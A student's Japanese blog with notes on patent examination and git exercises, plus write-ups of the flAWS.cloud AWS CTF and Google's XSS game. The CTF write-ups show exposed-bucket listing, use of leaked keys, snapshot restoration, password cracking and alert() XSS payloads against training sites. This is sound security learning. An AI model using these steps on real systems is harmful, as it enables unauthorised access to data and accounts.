雑記

いち情報系大学生

特許審査の流れを勉強した(ざっくりまとめ)

前書き

「ITの道に進む人間として、知的財産まわりについて一度しっかり学んでおかなくてはならないなぁ」と数年前から思っていました。これまで中々機会が無かったのですが...ありがたいことについ先日大学院の授業としてそれらを学ぶことができました。今回はその中でも”特許”に関わる部分を(備忘録として)記事にしたいと思います。

大学で研究したり企業で開発をする上で”特許”はとても重要なもので、(私自身はまだ特許出願に関わったことはないのですが...)いつか自分が出願することになるかもしれないので、そんな”特許”に関して勉強したことを(非常に簡単ではありますが)以下にまとめておこうと思います。

特許出願の手続き

特許が出願されてから登録されるまでの流れをざっくりと説明します。
参考:(特許庁HP) https://www.jpo.go.jp/system/basic/patent/index.html

         
①出願
②方式審査
③(実体)審査
④特許査定
⑤設定登録
         

書類を手直しする必要があったり拒絶審査を受けたりするとまたいろいろと複雑なのですが、全て順調に進んだ場合は上記の流れになります。①~⑤を簡単に説明します。

①出願
特許権を得るために必要な書類を特許庁へ提出する手続きです。この時必要となるのは「願書」「特許請求の範囲」「明細書」「要約書」「必要な図面」です(後述)

②方式審査
出願書類が、特許庁の定める要件を満たしているかを形式的にチェックする審査。

③(実体)審査
”特許審査”といって多くの人がイメージするであろう部分がここ。
出願された発明が特許になるかどうかを決める実質的な審査です

④特許査定
審査官が特許権の設定を許可することをいいます。
お金を払うことによって”⑤設定登録”に進むことができます。

⑤設定登録
特許庁の登録原簿に特許権の設定を登録することをいいます。
この時点で特許権が発生します。


出願書類

先ほどチラッと登場した出願書類についても説明します。特許法第36条 に基づき、特許出願の際は以下の書類を提出する必要があります。

1.願書(以下の情報を記載する必要がある)
 一. 特許出願人の氏名又は名称及び住所
 二. 発明者の氏名及び住所

2.明細書(以下の情報を記載する必要がある)
 一. 発明の名称
 二. 図面(後述)の簡単な説明
 三. 発明の詳細な説明

3.特許請求の範囲(請求項) 
 特許を取ることによって”何を独占したいか”を記載する。
 請求範囲を限定的にすれば権利としては弱く、
 逆に広範囲での請求が認められれば強い権利となります。
 
4.必要な図面(必要なければ添付する必要なし)
5.要約書

※ちなみにこうした出願書類は、弁理士の方を通じて作成するのが一般的です

出願書類に関しては、実物をみた方がイメージが掴みやすいと思います。特許情報プラットフォーム (J-PlatPat)では、出願された特許の情報を誰でも閲覧することができるようになっているので、興味がある人は一度調べてみるといいと思います。


審査について

ここでは特許審査がどのような基準で行われているのかをまとめます。これを理解することで「自分が特許を出願する際、それが拒絶されるか否かを判断しやすくなる」というメリットがあります(もちろん素人目線ですが...)

特許の審査は、(特許法第70条に基づき)願書に添付した「特許請求の範囲」をもとに行われます。判断基準の主なものとしては 「新規性」「進歩性」「産業上利用可能性」「記載要件」「先願要件」がありますが、それぞれの判断手法について以下に簡単にまとめます。


新規性の判断手法
審査対象となっている発明(本願発明)と、既存の発明(引用発明)を構成要件ごとに比較して同一か否か判断します。そして全ての構成要件が同一であった場合、新規性がないと判断されます。この際、本願発明の要件が引用発明の要件よりも上位の概念である場合は構成要件が同一であるとみなされます(例:家電製品は冷蔵庫の上位概念、電話は携帯電話の上位概念)

具体例
本願発明:令和2年1月1日に出願された発明であり、特許請求の範囲の請求項1に「キーボードのキーを入力すると、モデルを2Dから3Dに切り替えて表示を行うコンピュータ。」と記載されている。

引用発明1:令和1年6月1日発行の雑誌の記事に、「このモバイルコンピュータは、画面上のソフトウェアキーボードのファンクションキーF1を入力することにより、モデルを2Dから3Dに切り替えて表示を行うことが可能である。」と記載されている。

引用発明2:令和1年6月1日発行の雑誌の記事に、「このモバイルコンピュータは、画面上をタップすることにより、モデルを2Dから3Dに切り替えて表示を行うことが可能である。」と記載されている。

ケース1では、本願発明と引用発明は全ての構成要件が同一であるため新規性がありません。
f:id:unyamahiro:20210114143604p:plain

ケース2では、全ての構成要件が同一にはなっていないため新規性があると判断されます。
f:id:unyamahiro:20210114143950p:plain


進歩性の判断手法
まずは同一でない構成要件を(新規性の判断同様に)特定します。そしてそれらの構成要件について、引用発明からその技術分野の専門家が容易に本願発明の構成要件に該当するものに置き換えや組み合わせができると推測される場合は進歩性がないと判断されます。但しこれは専門的に高度な判断になるため 弁理士・弁護士等の法律の専門家に任せることになります。

具体例
f:id:unyamahiro:20210114143950p:plain

先ほどの"ケース2"で考えます。 コンピュータの専門家からすれば、画像をタップすることはデータを入力するアクションであり、またデータ入力のアクションとしてキーボードで キーを入力することもよく知られていることです。従って、画像をタップすることをキーボード入力に置き換えてみることは容易であり、進歩性はないと判断されます。

また上記の他にも、「出願するよりも先に論文を発表し、論文に出願した発明内容が開示されてしまっている」というケースなども進歩性がないと判断されます(例外あり)


産業上の利用可能性
特許法第29条には「産業上利用することができる発明をした者は特許を受けることができる。」と書かれています。ここに登場した発明という言葉ですが、実は法律で明確に「自然法則を利用した技術的思想の創作のうち高度のもの」と定義されています。発明かそうで無いかという判断も意外と難しいのですが...ここでは扱いません。

では産業上利用できない発明とはどんなものを指すかということですが、いわゆる医療行為がこれに該当します。医療行為に特許権を付与してしまうと、医師が特許権侵害を恐れながら医療行為を行うようになってしまい、医療行為の円滑化を阻害してしまうという理由からです(医薬品などはまた別)


記載要件
端的にいうと、出願書類の中における発明の詳細について、その技術分野の専門家が発明を実施できる程度には明確に記載しなければならないことを規定しています。

先願要件
同じような発明が出願された場合は、先に出願した方が特許を取れます。


審査っぽいことをしてみた

実は、特許が出願されると公開広報という形で(未審査のものも含めて)内容は全て公開され、先ほど紹介したJ-PlatPatなどを通じて誰でも確認することができるようになります。

今回、大学院の授業のレポート課題として、未審査の公開広報から興味のあるものを1つピックアップして「新規性」と「進歩性」の有無について調べる機会があったので、その手順や所感を書いて記事をしめたいと思います(あくまでも素人目線で実施したものなので...選択した公開広報や得た結論については伏せておきます)

手順

①新規性と進歩性の調査にあたり必要そうなキーワードを(請求項を参考に)列挙

②新規性と進歩性の調査にあたり、必要そうな IPC,FI ,Fタームを列挙

③技術的に近いと思われる特許公開公報を網羅的に検索

④検索対象と、検索で発見した特許公開公報に記載されている発明と比較し、検索対象となる発明に新規性・進歩性があるかどうか判断して結論を記載

詳細

手順1.
特許を審査するにあたっては、調査対象と同様の発明が過去に行われていないかどうかを調べなくてはなりません。審査官は、過去の刊行物や特許などのありとあらゆる情報をもとにこれを判断しなくてはなりませんから、データベースで検索するためのキーワードが必要です。これを出願書類やその添付書類から抜き出す作業です。

手順2.
IPC,FI,Fタームというのは、いずれも特許を分類するための文字列のことです。一口に発明といっても、その発明がロボットに関するものなのか、食品の加工技術に関するものなのか、植物の育成方法に関するものなのか...主題は多岐に渡ります。それを階層構造とともに管理することによって、情報を扱いやすくしたり検索を高速化したりというのがこれらの3つのキーワードです。メンテナンス情報 (Maintenance information) | J-PlatPat/AIPNから確認することができます。

手順3.
手順1,2で得たキーワードや分類結果に基づいて、近しい発明が無いかをデータベースで検索します。この時使用するのもJ-PlatPatで、非常に多くの情報を活用して検索することができます。
f:id:unyamahiro:20210114161932p:plain

適切なキーワード(の組み合わせ)を設定しないと膨大な件数がヒットしますが...それでは手順4が絶望的になります。得たい情報だけを的確に得られるキーワード選びには経験が必要だなと感じました。

手順4.
手順3で近しい発明をある程度リスト化できたら、それらの請求項を一つずつ比較することによって新規性や進歩性を確認します。非常に時間がかかりました。


所感
・今回は割と身近なテーマで考えてみましたが、深く調査をしていくにつれて専門的な知識がどんどん押し寄せてきて想像以上に手こずってしまい、思っていた以上に時間もかかってしまいました。もし背景知識が全く無いテーマで調査をはじめていたらと思うと恐ろしい...(そう考えると、特許庁の審査官の人たちすごい)

・J-PlatPatの「特許・実用新案検索」にてキーワード検索をした際、具体性の低いキーワードを2つ程度組み合わせて検索すると3000件以上ヒットしてしまい、日々の発明の多さに改めて驚くとともに、適切なキーワードを選ぶことの重要性を理解しました。

あとがき

知的財産管理という点において、特許以外にも色々な権利を常に気にしていなくてはなりません。IT(特に、自分が志望しているクリエイティブな)業界ではさまざまな権利が絡んでくると思うので、就職するまでには、倫理観とかリテラシーとか...そのあたりをしっかりさせておきたい。

flAWS.cloudを、勉強しながら解いてみる(level4まで)

今回はflAWS.cloudというCTFを解いてみようと思います。本CTFについてざっくり説明すると「AWSを使用する際のよくある間違いや落とし穴や脆弱性を取り扱った問題集」です。

flaws.cloud

(前置き)

これに取り組むにあたって...僕は今まで一切AWSについて勉強したことがなかったので、まずは自習するところからはじめなければなりませんでした。はじめはAWSの公式e-learningで勉強しようとしたのですが、コース内容が体系的でなく、説明を聞いても概念的な部分がぼんやりしたままで中々理解が進まなかったので、途中からはUdemyの講座でハンズオン形式で勉強を進めました。概念的な部分をひととおり抑えたあとは、EC2にnode.jsの環境構築して簡単なwebページつくるなどもしてみました。

上記を経て...今回のCTFに取り組むにあたっての自分のレベル感としては「AWSで使われる単語の意味とかはざっくり理解できているけど、具体的な開発方法とかに関しては調べないとほとんど答えられない」という感じ。CTFで問題を解くためには当然いろんな情報を集めないといけないので、そういう作業を通じて理解を深めていければいいなという意図でした。flAWS.cloudには丁寧にヒントとかも用意されているということなので、積極的に参照しながら(場合によってはwriteUPとかも調べつつ)解きました。


Level1

問題文
This level is *buckets* of fun. See if you can find the first sub-domain.

↑だけだと何のことやらだったので、早速ヒント参照。すると静的なウェブサイトhttp://flaws.cloud/はS3バケットとしてホストされているということなどがつらつらと書いてあった。しかしここまで読んでも次に何をすべきなのか分からなかったので、もう少し読み進める。

すると、digコマンドで何かやってた。digコマンド...”ドメイン名からIPアドレスを知るコマンド”っていうざっくりとした知識はあったものの実際に使ったことはなかったので、”使い方(オプション)”や”実行結果の見方”や"nslookupコマンドとの違い"などじっくり調べた(1時間程度)

使い方がわかったところで、実際にdigコマンドを使ってflaws.cloudのIPアドレスを調べてみる。

$ dig +nocmd flaws.cloud any +multiline +noall +answer
flaws.cloud.		5 IN A	52.218.193.75
~以下略~

52.218.193.75に飛んでみると、Amazon S3(拡張性と耐久性を兼ね揃えたクラウドストレージ)|AWSというページだった。冒頭に書いてあった「このサイトがS3バケットとしてホストされている」ということがここでも確認できた。

さて、ヒント通りに進めていく。
上記の手順で得たIPアドレスを、nslookupコマンドで調べてみる。

$ nslookup 54.218.193.75                             
Server:		192.168.43.1
Address:	192.168.43.1#53

Non-authoritative answer:
75.193.218.54.in-addr.arpa	name = ec2-54-218-193-75.us-west-2.compute.amazonaws.com.

~以下略~

ページがus-west-2リージョンでホストされていることがわかったので、この情報をもとにバケットの中身をみてみる。

awsコマンドを実行したいのでAWS CLIをインストール...してもよかったけれど、面倒だったので(5分あれば終わるのに)、以前勉強用に立ち上げたEC2インスタンスsshログインした。その中で以下を実行。

aws s3 ls s3://flaws.cloud/ --no-sign-request --region us-west-2
2017-03-14 03:00:38       2575 hint1.html
2017-03-03 04:05:17       1707 hint2.html
2017-03-03 04:05:11       1101 hint3.html
2020-05-22 18:16:45       3162 index.html
2018-07-10 16:47:16      15979 logo.png
2017-02-27 01:59:28         46 robots.txt
2017-02-27 01:59:30       1051 secret-dd02c7c.html

secretなんちゃらというファイルがあるので、これを確認してみる。アドレスバーにhttp://flaws.cloud.s3.amazonaws.com/secret-dd02c7c.htmlと入力すればよい。

みてみると↓
f:id:unyamahiro:20210112104458p:plain

となり、Level2へ進めるようになった。
http://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud

先へ進む前に...Level2のページに、Level1で取り扱ったセキュリティ上の問題点が解説してあったのでしっかり目を通す。以下引用。

By default, S3 buckets are private and secure when they are created. To allow it to be accessed as a web page, I had turn on "Static Website Hosting" and changed the bucket policy to allow everyone "s3:GetObject" privileges, which is fine if you plan to publicly host the bucket as a web page. But then to introduce the flaw, I changed the permissions to add "Everyone" to have "List" permissions.

"Everyone" means everyone on the Internet. You can also list the files simply by going to http://flaws.cloud.s3.amazonaws.com/ due to that List permission.

要するにちゃんとアクセス制限しないとダメってことらしい。
自分が使うことになった時は気をつけたい。


Level2

問題文
The next level is fairly similar, with a slight twist. You're going to need your own AWS account for this. You just need the free tier.

前問とほとんど同じということなので、まずはヒントを見ずに以下を試した。
sshログインしてから...

$ aws s3 ls s3://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud
2017-02-27 02:02:15      80751 everyone.png
2017-03-03 03:47:17       1433 hint1.html
2017-02-27 02:04:39       1035 hint2.html
2017-02-27 02:02:14       2786 index.html
2017-02-27 02:02:14         26 robots.txt
2017-02-27 02:02:15       1051 secret-e4443fc.html

前問同様にsecretファイルを覗いてみると↓
f:id:unyamahiro:20210112114812p:plain

となってあっさり解けてしまった。なんか釈然としないので...ヒントも見て、どこか"fairly similar, with a slight twist (問題文)"なのかを確認することにした。

調べていくとどうやら、Level1で「Everyone」に設定されていたアクセス制御が今回は「Any AuthenticatedAWSUser」に変更されていたよう。「AWSアカウントをもっている」ということだけが突破条件だったみたい(これは「自分のアカウントのユーザーだけがアクセス可能」な設定であると誤解されることがたまにあるらしい)。今回はSSHログインをしてAWS CLIを利用していたのでアクセスできたっぽい。


Level3

問題文:
The next level is fairly similar, with a slight twist. Time to find your first AWS key! I bet you'll find something that will let you list what other buckets are

例によって中身の確認

$ aws s3 ls s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/
                           PRE .git/
2017-02-27 00:14:33     123637 authenticated_users.png
2017-02-27 00:14:34       1552 hint1.html
2017-02-27 00:14:34       1426 hint2.html
2017-02-27 00:14:35       1247 hint3.html
2017-02-27 00:14:33       1035 hint4.html
2020-05-22 18:21:10       1861 index.html
2017-02-27 00:14:33         26 robots.txt

前2問のようなsecretファイルは見つからない。
代わりに見つかったのは .git ファイル。

というわけで、まずはgit logで状態を確認する
(gitがインストールされていなかったので"yum install git"を実行)

$git log
commit b64c8dcfa8a39af06521cf4cb7cdce5f0ca9e526 (HEAD -> master)
Author: 0xdabbad00 <scott@summitroute.com>
Date:   Sun Sep 17 09:10:43 2017 -0600

    Oops, accidentally added something I shouldn't have

commit f52ec03b227ea6094b04e43f475fb0126edb5a61
Author: 0xdabbad00 <scott@summitroute.com>
Date:   Sun Sep 17 09:10:07 2017 -0600

    first commit

2つのコミットが。
・コミットの間隔が35秒くらいしかない
・”Oops, accidentally added something I shouldn't have”という怪しすぎるコミットメッセージ

というわけで、状態を戻して確認してみる。

git checkout f52ec03b227ea6094b04e43f475fb0126edb5a61

ここでls打ってみると、"access_keys.txt"という”いかにも”なファイルを発見。
(どう扱ったらいいのかわからなかったので一回ヒントを見たけど、
普通にaws configureすればいいだけだった)

$ cat access_keys.txt 
access_key (キー1)
secret_access_key (キー2)

$ aws configure --profile flaws
AWS Access Key ID [None]: (キー1を入力)
AWS Secret Access Key [None]: (キー2を入力)
Default region name [None]: us-west-2
Default output format [None]: json

$ aws s3 ls aws --profile flaws
2020-06-25 17:43:56 2f4e53154c0a7fd086a04a12a452c2a4caed8da0.flaws.cloud
2020-06-26 23:06:07 config-bucket-975426262029
2020-06-27 10:46:15 flaws-logs
2020-06-27 10:46:15 flaws.cloud
2020-06-27 15:27:14 level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud
2020-06-27 15:27:14 level3-9afd3927f195e10225021a578e6f78df.flaws.cloud
2020-06-27 15:27:14 level4-1156739cfb264ced6de514971a4bef68.flaws.cloud
2020-06-27 15:27:15 level5-d2891f604d2061b6977c2481b0c8333e.flaws.cloud
2020-06-27 15:27:15 level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud
2020-06-28 02:29:47 theend-797237e8ada164bf9f12cebf93b282cf.flaws.cloud

解けた。
level4に進むには、該当行コピーしてアドレスバーに貼り付ければOK。
ちなみに5以降は、パーミッションの関係でアクセスできないようになっていた。

解説には、「キーが流出した(またはしている可能性が少しでもある)場合は、それを削除した上で新しいキーを生成しなければならない」と書いてあった。


Level4

問題文
For the next level, you need to get access to the web page running on an EC2 at 4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud
It'll be useful to know that a snapshot was made of that EC2 shortly after nginx was setup on it.

アクセスしようとしたらユーザ名とパスワードを要求され、間違えると401エラーで入れない。いろいろ試したけど上手く行かなかったのでヒントへ。

$ aws sts get-caller-identity 

というのを使っている。読んで字のごとく呼び出し元(caller)のIAM情報を取得することができるっぽくて、 これを "--profile flaws"と合わせて実行することで、このユーザ名が"backup"であることがわかった。

EC2のディスクボリュームはバックアップをとれるらしくて、この"backup"アカウントが作成しているバックアップはEC2のスナップショットとのこと。そしてそれを見つけるために以下のコマンドを使っていた。

$ aws --profile flaws ec2 describe-snapshots --owner-id 975426262029

(975426262029は、さっき”aws sts get-caller-identity ”を実行した時に判明)

以下、実行結果

{
    "Snapshots": [
        {
            "Description": "", 
            "Tags": [
                {
                    "Value": "flaws backup 2017.02.27", 
                    "Key": "Name"
                }
            ], 
            "Encrypted": false, 
            "VolumeId": "vol-04f1c039bc13ea950", 
            "State": "completed", 
            "VolumeSize": 8, 
            "StartTime": "2017-02-28T01:35:12.000Z", 
            "Progress": "100%", 
            "OwnerId": "975426262029", 
            "SnapshotId": "snap-0b49342abd1bdcb89"
        }
    ]
}

これがスナップショットということは、復元もできるはず。
ということで一旦ヒントから離れ、調べながらボリュームを作成してみる。

※ 今まではec2-userとしてsshログインしながらawsコマンドとか使っていたけれど、それだと今回の作業が(付与権限的に)できないので、ここでとうとうaws cliをインストールして自分のアカウントでサインインしなければならなかった。

ボリューム作成→EC2インスタンスにアタッチ という流れでやる。

aws ec2 create-volume --availability-zone us-west-2a --region us-west-2  --snapshot-id  snap-0b49342abd1bdcb89

実行後、awsコンソールからEC2インスタンスを作成。この時"ストレージの追加"でボリュームを新たに作成して、用意したボリュームをアタッチした。その後ec2-userとしてsshログインして、今追加したボリュームをマウントする。

$ lsblk
NAME    MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
xvda    202:0    0   8G  0 disk 
└─xvda1 202:1    0   8G  0 part /
xvdb    202:16   0   8G  0 disk 
└─xvdb1 202:17   0   8G  0 part 

sudo file -s /dev/xvdb1

sudo mount /dev/xvdb1 /mnt

マウントできたので、ここからは普通のCTFのweb問題のようにパスワードを探していくことになる。401ページにnginxって書いてあったのでここに注目。はじめはnginxは「読み方がエンジンエックス」くらいしか知らなかったので(web関連の技術ということも知らなかった)調べながら進めることにした。

webについてはまだ勉強を始めてから日が浅く、認証の種類とかもあんまりよくわかってなかったけれど、まずはBASIC認証だとアタリをつけてみることにした。そうなると次に探すべきは.htpasswdファイルかなぁということで

$sudo find /mnt -name .htpasswd -print
/mnt/etc/nginx/.htpasswd

「htpasswd 攻撃」など調べてみるとブルートフォースアタックが有効そうだということがわかったので、以前別のCTFでJWTの秘密鍵を破るのに使ったJohnTheRipperをここで使うことをひらめく(以前使ってた環境を消しちゃってたので、攻撃して学ぶJWT【ハンズオンあり】 | Money Forward Engineers' Blogを参考に再び環境構築しなおしてローカルで実行した)

$ ./john .htpasswd
~(略)~
0g 0:00:01:23  3/3 0g/s 52051p/s 52051c/s 52051C/s popchesa..popchand
0g 0:00:03:28  3/3 0g/s 48967p/s 48967c/s 48967C/s lya1069..lya1860

この後20分くらい待ったけど終わる気配がない。
rockyou.txtでの辞書型も試したけれど意味がなかった。

というわけで別の方法を探したけれど、30分調べても上手くいかなかったので降参。ヒントをみたら「In the ubuntu user's home directory is the file: '/home/ubuntu/setupNginx.sh'」と書いてあった(こんなの自力で探せるか...?)

$ cat /mnt/home/ubuntu/setupNginx.sh
htpasswd -b /etc/nginx/.htpasswd flaws nCP8xigdjpjyiXgJ7nJu7rw5Ro68iE8M

これがパスワード(ハッシュならそりゃブルートフォースできませんわ...)

ちゃんとログインもできた↓
f:id:unyamahiro:20210114113029p:plain

この問題では、スナップショットのアクセス制限を扱った。デフォルトではprivateになっているみたいだが、publicにすると今回みたいなケースが発生するよう。


Level5

問題文:
This EC2 has a simple HTTP only proxy on it. Here are some examples of it's usage:
http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/flaws.cloud/
http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/summitroute.com/blog/feed.xml
http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/neverssl.com/

See if you can use this proxy to figure out how to list the contents of the level6 bucket at level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud that has a hidden directory in it.

(2021. 01/14 :途中)

XSS gameを解いた

2020年ももう残り3日ですが、実家に帰るわけでもなくやるべきことも特にないので...XSSの復習も兼ねて解いてみました(初見)


Level1
https://xss-game.appspot.com/level1

開いてみると、Googleみたいな見た目をした入力フォーム付きのページがあった。

Inject a script to pop up a JavaScript alert() in the frame below.
Once you show the alert you will be able to advance to the next level.

とりあえずHelloと入力して"search"ボタンをクリックしてみた↓
f:id:unyamahiro:20201229102325p:plain

右クリックして、”フレームのソースを表示”をクリック

<!doctype html>
<html>
  <head>
    <!-- Internal game scripts/styles, mostly boring stuff -->
    <script src="/static/game-frame.js"></script>
    <link rel="stylesheet" href="/static/game-frame-styles.css" />
  </head>

  <body id="level1">
    <img src="/static/logos/level1.png">
      <div>
Sorry, no results were found for <b>Hello</b>. <a href='?'>Try again</a>.
    </div>
  </body>
</html>

入力した文字列をbタグで太字にしているだけっぽい。そこで試しにフォームに<h1>Hello</h1>と入力してみると、今度はh1タグでHelloが表示された。

ということは<script>alert();</script>と入力すればいけそうだなって思って、試すと
f:id:unyamahiro:20201229104936p:plain

解けたっぽい。



Level2
https://xss-game.appspot.com/level2/frame

今回もalert()を挿入してポップアップを表示させるのがゴール。
そして標的にするのはチャットサービス。

今回もHelloと入力して投稿。その後h1タグをつけて再度投稿。
f:id:unyamahiro:20201229115438p:plain

前問の流れのままに"<script>alert();</script>”を試したけれども、今回は空欄になって出力されてしまった。

ここで初めてソースを確認。

html += "<blockquote>" + posts[i].message + "</blockquote";

内容を引用符で囲むという典型的なやり方でXSS回避している。
しかし、エスケープ処理などはしていない様子。

ということで、XSSでよく使われるonerrorを使って<img src=1 onerror=”alert()”>として投稿したら、次のレベルに進めるようになった。



Level3
https://xss-game.appspot.com/level2/

今回のターゲットページには、Image1,Image2,Image3の3つのタブがあって、クリックするとそれぞれ画像を1枚表示する。

タブをクリックすると、URLが
https://xss-game.appspot.com/level3/frame#1
https://xss-game.appspot.com/level3/frame#2
https://xss-game.appspot.com/level3/frame#3

という風に変化しているので、URLを使った方法とアタリをつけつつソースをみる。

<div class="tab" id="tab1" onclick="chooseTab('1')">Image 1</div>


chooseTab関数の引数によって表示画像を決めていることがわかった。
そこでchooseTab関数を眺めてみる。目をつけたのは次の一文。

<img src='/static/level3/cloud" + num + ".jpg' />


numはchooseTab()の引数で、特別な文字列処理なども特に行っていない。
ということでURLの#以降に以下の文を挿入した。
1'><img src=X onerror="alert()">'

すると
f:id:unyamahiro:20201229130733p:plain

解けた。SQLインジェクションっぽさを感じた。
( 1'&gt;&lt;img src=X onerror="alert()"&gt;'という複雑な文になってるけれど、<と>をそれぞれエスケープシーケンス: &lt と&gt に置き換えているだけです)



Level4
https://xss-game.appspot.com/level4/

今度は、タイマーサイト。整数を入力してから"Create timer"ボタンをクリックし、待機すると、設定秒数後にポップアップが出てきて時間経過を知らせてくれる。

待機中は、URLが以下のようになっている (3を設定した)
https://xss-game.appspot.com/level4/frame?timer=3

5.55と設定してからソースを見てみる

<script>
   function startTimer(seconds) {
    seconds = parseInt(seconds) || 3;
     setTimeout(function() { 
       window.confirm("Time is up!");
       window.history.back();
    }, seconds * 1000);
  }
</script>

〜略〜

<img src="/static/loading.gif" onload="startTimer('5.55') ||  alert() ||');" />

入力値をstartTimer(seconds)に渡して、それを seconds = parseInt(seconds) として処理している。前問と同じやり口でalert()をねじ込む。つまりフォームには 3'); alert(' と入力する。
f:id:unyamahiro:20201229140308p:plain



Level5
https://xss-game.appspot.com/level5/

とあるサービスのβ版ページ。まずはsignUPページに飛ぶよう指示があるので、飛んでみるとe-mail入力フォームが登場する。文字列を入力して"Next>>"ボタンをクリックすると、確認ページに飛んで、その後数秒待ってリダイレクトという流れ。

気になったのがe-mail入力画面のURL。
https://xss-game.appspot.com/level5/frame/signup?next=confirm

nextというパラメータがあってconfirmが指定されており、ここを利用すれば攻撃できそうな感じがする。ちょっと調べたら JavaScript疑似プロトコルというものが出てきて、どうやらアドレスバーからjavascriptを簡単に実行できる仕組みらしい。

ということで、以下のようにURLを指定する。
https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert('');

f:id:unyamahiro:20201229142626p:plain

解けた。



Level6
https://xss-game.appspot.com/level6/

最後の問題。

Find a way to make the application request an external file which will cause it to execute an alert().

外部のjavascriptファイルを実行しろと言われてる。ターゲットとなるサイトには特に入力フォームもなく、”Loaded gadget from /static/gadget.js”という一文が書いてあるのみ。ここでURLをみるとhttps://xss-game.appspot.com/level6/frame#/static/gadget.jsとなっていることから、「もしかしたらURLの#以下で指定したファイルを実行してくれると言うことでは?」と容易に予想を立てられる。

となると次にやるべきは「alert()の一文だけ書いたjavascriptのファイルをどこかに保存し、それを読み込ませる」ということだが、何かめんどくさそうだから別の方法を探す。根気強く20-30分くらい調べていると「data URI Scheme」というものを見つけることができた。

データURIスキーム(英語: data URI scheme)とは、あたかも外部リソースを読み込むのと同じように、ウェブページにインラインにデータを埋めこむ手段を提供するURIスキームである。

要は「alert()の一文だけ書いたjavascriptのファイルをどこかに保存し、それを読み込ませる」なんてことしなくても、URLだけで同じようなことができますよということ(多分)。試しに data:text/javascript,alert('');という一文をアドレスバーに打ち込んでみると、"alert()"と書かれたページに飛んだ。これは使えそう。

とりあえずターゲットページに戻って、URLの#以下の部分を上記に書き換えてみる。
f:id:unyamahiro:20201229151711p:plain

するとこの通り、うまくいった。



ということで無事全て解き終えることができた。
基礎的な部分を復習しつつ、新たな知見も得られたのでよかった。

Learn git branchingを一通り解いたので、その解答と所感

最近gitを学び直しました。
Learn git branchingを解いたので、その答えを書いておきます。

解いている途中で気がついたのですが...Learn git branchingには新版と旧版があり、旧版はバグで解けない問題があるそう。今回僕は4-1まで旧版で解いて、それ以降は新版で解いています。ひょっとしたら新と旧で問題も違うかも...。
(旧:https://k.swd.cc/learnGitBranching-ja/
 新:https://learngitbranching.js.org/?locale=ja

問題としては一応解けていますが、”gitを適切に使っているか”というところまでは残念ながら保証しきれません(チーム開発の経験が乏しくて...)あくまで参考程度にみてもらえるとこちらも気が楽です。


intro1 (1-1)

$ git commit
$ git commit

やるだけ。


intro2(1-2)

$ git branch bugFix
$ git checkout bugFix

ブランチ切ってcheckoutしてねという問題。
これもチュートリアルに沿ってやるだけ。


intro3(1-3)

$ git branch bugFix
$ git checkout bugFix    
$ git commit    
$ git checkout master    
$ git commit    
$ git merge bugFix

...で良いんだけども、「この問題は最短5回のコマンド実行で解けるよ」とか言われた。結論からいうと、先頭2行分を以下のように置き換えることができた。

$ git checkout -b bugFix

git checkoutに-bオプションをつけることで「ブランチ作成」と「切り替え」を1度に行うことができる。
チュートリアルではオプションについて一切触れていなかったので...その点は初学者にちょっぴり不親切だなぁとは思った。


intro4(1-4)

$ git checkout -b bugFix    
$ git commit    
$ git checkout master    
$ git commit    
$ git checkout bugFix    
$ git rebase master

前問が解ければ難しくはない。2つのブランチを1つに統合するmergeと違って、rebaseはブランチを付け替えるイメージ。


rampup1(2-1)

git checkout C4

やるだけ。

ところで、数年前に同じ問題解いた時は「コミットにcheckoutする」というのがよくわからなかった。当時は"git checkout 意味"とか調べても「作業ブランチを切り替える」みたいな解説しか目に入ってなかったので、「コミットってブランチの一種なの?」とか色々混乱した記憶がある。最近gitの内部仕様について勉強したということもあって今回は割とスッと理解できたけど...要はこういうこと↓

f:id:unyamahiro:20201211211629p:plain

ブランチはよく”コミットのまとまり”とか誤解されているけれど、言ってみればただのポインタで、HEADも(デフォルトではブランチを指している)ただのポインタ。checkoutっていうのはHEADの位置を移動させるコマンドというだけで、”ブランチ(上図では緑)”を指定すれば当然ブランチ(何度も言うけどただのポインタ)を指すようになるし、コミット(オブジェクトのhash、上図では青)を指定すればコミットを指すようになる。


rampup2(2-2)

$ git checkout bugFix^

HEADを動かすので、使うのはcheckout。相対位置指定を利用する。


rampup3(2-3)

$ git branch -f master C6    
$ git branch -f bugFix C0    
$ git checkout C1

ちょっとごちゃごちゃしているけど、「git branchの-fオプションで各ブランチの位置を変更し」「checkoutでHEADをずらす」だけ。


rampup4(2-4)

$ git reset local^    
$ git checkout pushed    
$ git revert pushed    

以下の記事が参考になった。
git reset 解説 - Qiita
【gitコマンド】いまさらのrevert - Qiita


rebase1(3−1)

$ git checkout bugFix    
$ git rebase master    
$ git checkout side    
$ git rebase bugFix    
$ git checkout another    
$ git rebase side    
$ git checkout master    
$ git rebase another

最初はこう解いた。実行したコマンドは8回。
しかし最短だと7回になるということだったので....このうちの2つの命令を1つに統合できるのかなと考えた。とはいえ1-2行目,3-4行目,5-6行目,7-8行目はやってることほぼ同じで、「checkoutしてrebaseする」という作業を繰り返しているだけなので、もしこの手順を1つのコマンドで実現できるならば最短は4回ということになるし...悩んだ。

まぁとりあえずcheckoutとrebaseを省略できる方法があるか調べてみた。
rebaseの公式ドキュメント見ていると、

git rebase [basebranch] [topicbranch]

みたいに引数を2つ指定すればcheckoutしなくてもいいと書いてあったので、とりあえず試してみる。

$ git rebase master bugFix    
$ git rebase bugFix side    
$ git rebase side another    
$ git rebase another master

これで解けた(最短7回とは?)


rebase2(3−2)

#模範(最短)解答ではありません
$ git rebase -i one    #UI上で順序を変更してC5削除
$ git branch -f master C5  
$ git rebase -i two    #UI上で、順序を変更
$ git branch -f master C5    
$ git branch -f one C’     
$ git branch -f two C2’’     
$ git branch -f three C2 

初めて問題を見た時、数分考えたけどまったく分からなかった。今までの応用というよりは新しいコマンドやオプションを使うんだろうなと思ったので、まずは調べてみることにした。

